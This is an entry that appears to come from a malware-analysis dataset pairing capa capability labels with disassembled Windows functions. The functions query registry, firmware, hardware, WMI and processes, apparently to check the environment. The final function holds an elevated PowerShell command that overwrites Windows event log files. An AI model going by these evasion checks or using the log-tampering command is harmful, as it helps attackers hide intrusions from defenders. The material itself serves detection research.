joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002e640
Capabilities:
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x90]
mov rax, qword [rax + 8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14002e6c7
xor eax, eax
jmp 0x14002e84e
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x14002e704
xor eax, eax
jmp 0x14002e84e
mov eax, dword [rsp + 0x3c]
mov ecx, eax
call fcn.140069adc
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], 0
jmp 0x14002e75e
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
cmp dword [rsp + 0x30], eax
jae 0x14002e84a
mov dword [rsp + 0x34], 0
jmp 0x14002e783
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, 0x24
imul rax, rax, 0
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0x10]
cmp dword [rsp + 0x34], eax
jae 0x14002e845
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
movzx eax, byte [rax + rcx + 0x10]
cmp eax, 3
jne 0x14002e840
cmp qword [rsp + 0x88], 0
je 0x14002e836
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov rdx, qword [rsp + 0x88]
mov rax, qword [rax + rcx + 0x14]
mov qword [rdx + 8], rax
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x24
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 4]
mov ecx, dword [rsp + 0x34]
imul rcx, rcx, 0x14
mov eax, dword [rax + rcx + 0x1c]
mov rcx, qword [rsp + 0x88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x88]
add rax, 0x10
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
jmp 0x14002e779
jmp 0x14002e754
mov eax, dword [rsp + 0x40]
add rsp, 0x78
ret
Function at 0x14002f2f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x450
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov dword [rsp + 0x34], 1
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x400
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rsp + 0x470]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14002f3f4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14002f3e9
mov rdx, qword [rsp + 0x480]
lea rcx, [rsp + 0x40]
call fcn.140069f90
test eax, eax
jne 0x14002f3e9
lea rdx, [0x140086ae0]
mov rcx, qword [rsp + 0x468]
call fcn.14003e0d0
mov rax, qword [rsp + 0x460]
mov rax, qword [rax]
movzx eax, byte [rax]
inc al
mov rcx, qword [rsp + 0x460]
mov rcx, qword [rcx]
mov byte [rcx], al
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x450
pop rdi
ret

Function at 0x14002fac0
Capabilities:
Create directory
Delete directory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x48]
call fcn.14000c880
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14002faf8
mov al, 1
jmp 0x14002fb14
cmp dword [rsp + 0x20], 0
je 0x14002fb12
mov rcx, qword [rsp + 0x48]
call fcn.14000c880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor al, al
add rsp, 0x38
ret
Function at 0x1400416a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400416ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400416ce
mov dword [rsp + 0x20], 0
jmp 0x1400416d6
mov dword [rsp + 0x20], 1
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140042130
Capabilities:
Get system firmware table

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x1400421b0
cmp qword [rsp + 0x28], 0
je 0x1400421b0
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.140069adc
mov qword [rsp + 0x28], rax
mov r9d, dword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x24], eax
je 0x1400421b0
mov rcx, qword [rsp + 0x28]
call fcn.14006434c
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x28]
add rsp, 0x38
ret

Function at 0x140042460
Capabilities:
Get disk size

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0x40000000
xor r9d, r9d
lea r8, [rsp + 0x28]
xor edx, edx
lea rcx, [0x140087e20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1400424a2
mov eax, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x40000000
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x1400424ad
xor eax, eax
jmp 0x1400424d8
mov eax, dword [rsp + 0x20]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14008e2a0]
mulsd xmm0, qword [0x14008e2a0]
call fcn.1400699ec
cvttsd2si rax, xmm0
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add rsp, 0x48
ret

Function at 0x140042510
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0x10
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x14004255a
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
call fcn.1400075d0
mov rax, qword [rsp + 0x50]
jmp 0x140042569
mov rcx, qword [rsp + 0x50]
call fcn.140007670
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x48
ret

Function at 0x1400425b0
Capabilities:
Get memory capacity

Disassembly:
push rdi
sub rsp, 0x70
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0x40
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x70
pop rdi
ret
Function at 0x140043280
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x88
mov dword [rsp + 0x28], 0xff
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x3c]
call fcn.140040030
mov eax, dword [rsp + 0x40]
and eax, 0x10000000
test eax, eax
je 0x1400432c4
mov byte [rsp + 0x30], 1
jmp 0x1400432c9
mov byte [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x31], al
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x1400432df
xor al, al
jmp 0x14004332b
mov eax, dword [rsp + 0x44]
shr eax, 0x10
and eax, 0xff
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x34], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x48], eax
jle 0x14004331e
mov dword [rsp + 0x38], 1
jmp 0x140043326
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
add rsp, 0x88
ret
Function at 0x1400445e0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
sub rsp, 0x78
cmp qword [0x1400a5a18], 0
je 0x1400445f5
mov al, 1
jmp 0x1400447c0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140044611
xor al, al
jmp 0x1400447c0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140044666
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x1400447c0
lea rax, [0x1400a5a10]
mov qword [rsp + 0x20], rax
lea r9, [0x140090318]
mov r8d, 1
xor edx, edx
lea rcx, [0x140090328]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x1400446a6
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x1400447c0
lea rdx, str.ROOTCIMV2
lea rcx, [rsp + 0x60]
call fcn.14002a990
mov rcx, rax
call fcn.14002d060
mov rcx, qword [0x1400a5a10]
mov rcx, qword [rcx]
mov qword [rsp + 0x58], rcx
lea rdx, [0x1400a5a18]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [0x1400a5a10]
mov rax, qword [rsp + 0x58]
call qword [rax + 0x18]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x60]
call fcn.14002c550
cmp dword [rsp + 0x50], 0
jge 0x140044748
mov rax, qword [0x1400a5a10]
mov rax, qword [rax]
mov rcx, qword [0x1400a5a10]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x1400447c0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa
mov rcx, qword [0x1400a5a18]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x1400447be
mov rax, qword [0x1400a5a18]
mov rax, qword [rax]
mov rcx, qword [0x1400a5a18]
call qword [rax + 0x10]
mov rax, qword [0x1400a5a10]
mov rax, qword [rax]
mov rcx, qword [0x1400a5a10]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x1400447c0
mov al, 1
add rsp, 0x78
ret
Function at 0x140049b40
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1168
call fcn.14005d950
sub rsp, rax
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x1150], rax
lea r8, [rsp + 0x30]
mov edx, 0x1000
lea rcx, [rsp + 0x40]
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x140049b83
xor al, al
jmp 0x140049c2e
mov eax, dword [rsp + 0x30]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x20], 0
jmp 0x140049ba9
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x20], eax
jae 0x140049c2c
mov eax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x40]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140049c27
mov r9d, 0x104
lea r8, [rsp + 0x1040]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x140049c1c
mov rdx, qword [rsp + 0x1170]
lea rcx, [rsp + 0x1040]
call fcn.14006a0d0
test eax, eax
jne 0x140049c1c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140049c2e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140049b9f
xor al, al
mov rcx, qword [rsp + 0x1150]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x1168
ret
Function at 0x14004ad80
Capabilities:
Reference wmi statements

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x108
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0xf0], rax
call fcn.1400445e0
movzx eax, al
test eax, eax
jne 0x14004adc6
lea rdx, str.Failed_to_initialize_WMI._n
lea rcx, [0x1400a6210]
call fcn.140004fa0
xor al, al
jmp 0x14004af45
lea rdx, str.Manufacturer
lea rcx, [rsp + 0xa8]
call fcn.140029580
lea rcx, [rsp + 0x22]
call fcn.140005980
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0xc8]
mov r8, rcx
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x98]
call fcn.140012e10
lea rcx, [rsp + 0x70]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.14002a2b0
lea rdx, str.SELECT__FROM_Win32_BaseBoard
lea rcx, [rsp + 0xd0]
call fcn.140029580
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.140041390
lea rcx, [rsp + 0xd0]
call fcn.14002bf30
lea rcx, [rsp + 0x80]
call fcn.14002c360
lea r9, [fcn.14002bf30]
mov r8d, 1
mov edx, 0x20
lea rcx, [rsp + 0xa8]
call fcn.1400308e0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.14000e0b0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x30]
call fcn.14000c8a0
mov qword [rsp + 0x48], rax
jmp 0x14004aed4
mov rax, qword [rsp + 0x28]
add rax, 0x28
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x28], rax
je 0x14004af31
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0
jne 0x14004af2f
mov rax, qword [rsp + 0x38]
add rax, 8
mov rcx, rax
call fcn.14000c880
mov rdx, qword [rsp + 0x120]
mov rcx, rax
call fcn.14006a0d0
test eax, eax
jne 0x14004af2f
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x50]
call fcn.14002c340
movzx eax, byte [rsp + 0x20]
jmp 0x14004af45
jmp 0x14004aec6
mov byte [rsp + 0x21], 0
lea rcx, [rsp + 0x50]
call fcn.14002c340
movzx eax, byte [rsp + 0x21]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x108
pop rdi
pop rsi
ret

Function at 0x140052750
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov dword [rsp + 4], 0
jmp 0x140052768
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x100
jge 0x1400527cb
mov eax, dword [rsp + 4]
mov dword [rsp], eax
mov dword [rsp + 8], 0
jmp 0x14005278d
mov eax, dword [rsp + 8]
inc eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 8
jge 0x1400527b7
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x1400527ad
mov eax, dword [rsp]
shr eax, 1
xor eax, 0xedb88320
mov dword [rsp], eax
jmp 0x1400527b5
mov eax, dword [rsp]
shr eax, 1
mov dword [rsp], eax
jmp 0x140052783
movsxd rax, dword [rsp + 4]
lea rcx, [0x1400a79c0]
mov edx, dword [rsp]
mov dword [rcx + rax*4], edx
jmp 0x14005275e
add rsp, 0x18
ret
Function at 0x140052f90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xc8
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov r9, qword [rsp + 0xd0]
mov r8d, 0x80
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140065120
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x80
je 0x140053004
mov ecx, 2
call fcn.140064480
mov r9, qword [rsp + 0x20]
mov r8d, 0x80
lea rdx, str.Error:_Failed_to_read_header:_expected__d_bytes__got__zu_n
mov rcx, rax
call fcn.140054df0
jmp 0x1400530c7
mov rdx, qword [rsp + 0x30]
lea rcx, str.Signature:__016llx_n
call fcn.140054e40
mov rdx, qword [rsp + 0x38]
lea rcx, str.First_Chunk_Number:__016llx_n
call fcn.140054e40
mov rdx, qword [rsp + 0x40]
lea rcx, str.Last_Chunk_Number:__016llx_n
call fcn.140054e40
mov rdx, qword [rsp + 0x48]
lea rcx, str.Next_Record_Identifier:__016llx_n
call fcn.140054e40
mov edx, dword [rsp + 0x50]
lea rcx, str.Header_Size:_0x_08lx_n
call fcn.140054e40
movzx eax, word [rsp + 0x54]
mov edx, eax
lea rcx, str.Minor_Version:_0x_04x_n
call fcn.140054e40
movzx eax, word [rsp + 0x56]
mov edx, eax
lea rcx, str.Major_Version:_0x_04x_n
call fcn.140054e40
movzx eax, word [rsp + 0x58]
mov edx, eax
lea rcx, str.Chunk_Data_Offset:_0x_04x_n
call fcn.140054e40
mov edx, dword [rsp + 0x5a]
lea rcx, str.Number_of_Chunks:_0x_08lx_n
call fcn.140054e40
mov edx, dword [rsp + 0xa8]
lea rcx, str.File_Flags:_0x_08lx_n
call fcn.140054e40
mov edx, dword [rsp + 0xac]
lea rcx, str.Checksum:_0x_08lx_n
call fcn.140054e40
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14005d690
add rsp, 0xc8
ret
Function at 0x140053500
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x508
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
jmp 0x140053548
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x520]
cmp qword [rsp + 0x20], rax
jae 0x140053748
imul rax, qword [rsp + 0x20], 0x88
xor r8d, r8d
mov rcx, qword [rsp + 0x518]
mov edx, dword [rcx + rax]
mov rcx, qword [rsp + 0x510]
call fcn.140065528
test eax, eax
je 0x1400535c0
imul rax, qword [rsp + 0x20], 0x88
mov qword [rsp + 0x68], rax
mov ecx, 2
call fcn.140064480
mov rcx, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rcx + rdx]
lea rdx, str.Error:_Failed_to_seek_to_chunk_offset:__llu_n
mov rcx, rax
call fcn.140054df0
jmp 0x14005353b
mov r9, qword [rsp + 0x510]
mov r8d, 0x200
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140065120
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x20]
lea rcx, str.Data_Read_for_chunk__zu:__zu_bytes_n
call fcn.140054e40
cmp qword [rsp + 0x30], 0
jne 0x140053623
mov ecx, 2
call fcn.140064480
mov r8, qword [rsp + 0x20]
lea rdx, str.Error:_Failed_to_read_chunk_data_for_chunk__zu_n
mov rcx, rax
call fcn.140054df0
jmp 0x14005353b
cmp qword [rsp + 0x30], 0x78
jae 0x140053637
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
jmp 0x140053640
mov qword [rsp + 0x48], 0x78
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x270]
call fcn.14005e800
cmp qword [rsp + 0x30], 0x80
jbe 0x14005369e
cmp qword [rsp + 0x30], 0x200
jae 0x140053689
mov rax, qword [rsp + 0x30]
sub rax, 0x80
mov qword [rsp + 0x50], rax
jmp 0x140053692
mov qword [rsp + 0x50], 0x180
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
jmp 0x1400536a7
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x1400536db
lea rax, [rsp + 0xf0]
mov rcx, qword [rsp + 0x40]
lea rcx, [rsp + rcx + 0x270]
mov r8, qword [rsp + 0x38]
mov rdx, rax
call fcn.14005e800
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jbe 0x140053725
mov edx, dword [rsp + 0x60]
lea rcx, [rsp + 0x270]
call fcn.1400527e0
mov dword [rsp + 0x28], eax
mov r8d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
lea rcx, str.For_verification:_Computed_CRC32_for_chunk__zu:__08x_n
call fcn.140054e40
jmp 0x140053743
mov ecx, 2
call fcn.140064480
mov r8, qword [rsp + 0x20]
lea rdx, str.Error:_No_valid_data_to_compute_CRC_for_chunk__zu_n
mov rcx, rax
call fcn.140054df0
jmp 0x14005353b
mov eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x508
ret
Function at 0x140053770
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
cmp qword [rsp + 0x48], 0
je 0x140053902
mov rax, qword [rsp + 0x48]
add rax, 0x18
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
cmp dword [rax], 0x1010f
je 0x1400537d8
mov rax, qword [rsp + 0x18]
movzx eax, byte [rax]
cmp eax, 0xb
jne 0x1400537d8
mov rax, qword [rsp + 0x18]
movzx eax, word [rax + 1]
lea eax, [rax + rax + 3]
cdqe
mov rcx, qword [rsp + 0x18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x18], rax
jmp 0x1400537aa
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 0x18]
movzx eax, byte [rax + 4]
cmp eax, 0xc
jne 0x1400537fd
mov rax, qword [rsp + 0x18]
add rax, 4
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0
je 0x140053902
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x10]
sub rcx, rax
mov rax, rcx
add rax, 0xa
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 6]
cmp qword [rsp + 0x28], rax
jne 0x14005384a
mov rax, qword [rsp + 0x10]
add rax, 0xe
mov qword [rsp + 0x20], rax
jmp 0x14005389b
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 6]
mov dword [rsp], eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
cmp dword [rsp], eax
jb 0x140053887
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 4]
mov ecx, dword [rsp + 4]
add ecx, eax
mov eax, ecx
cmp dword [rsp], eax
jbe 0x140053889
jmp 0x1400538e8
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x40]
lea rax, [rax + rcx + 4]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400538e8
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x10]
mov ecx, dword [rcx + 2]
cmp dword [rax], ecx
jne 0x1400538e4
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x10]
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x20]
mov eax, dword [rdx + rax + 0x14]
mov dword [rcx], eax
mov eax, dword [rsp + 8]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax + 0x18]
jmp 0x140053904
xor eax, eax
jmp 0x140053904
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x10]
mov ecx, dword [rcx + 0xa]
mov dword [rax], ecx
mov rax, qword [rsp + 0x10]
add rax, 0xe
jmp 0x140053904
xor eax, eax
add rsp, 0x38
ret
Function at 0x140054810
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x858
mov rax, qword [0x1400a3f38]
xor rax, rsp
mov qword [rsp + 0x840], rax
lea rax, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x860]
lea r8, str.Copy_Item__Path__s__Destination_C:WindowsSystem32winevtLogs__Force__Remove_Item__Path__s__Force__Start_Service__Name_EventLog
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.140014840
lea r9, [rsp + 0x40]
lea r8, str._Command__s
mov edx, 0x400
lea rcx, [rsp + 0x440]
call fcn.140014840
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x440]
mov r8, qword [rsp + 0x38]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0x20
ja 0x1400548d5
mov rdx, qword [rsp + 0x30]
lea rcx, str.Error:_Failed_to_launch_PowerShell_as_admin._Error_code:__lu_n
call fcn.140054e40
mov eax, 1
jmp 0x1400548e3
lea rcx, str.PowerShell_launched_as_Administrator_to_overwrite_official_event_log_file_n
call fcn.140054e40
xor eax, eax
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.14005d690
add rsp, 0x858
ret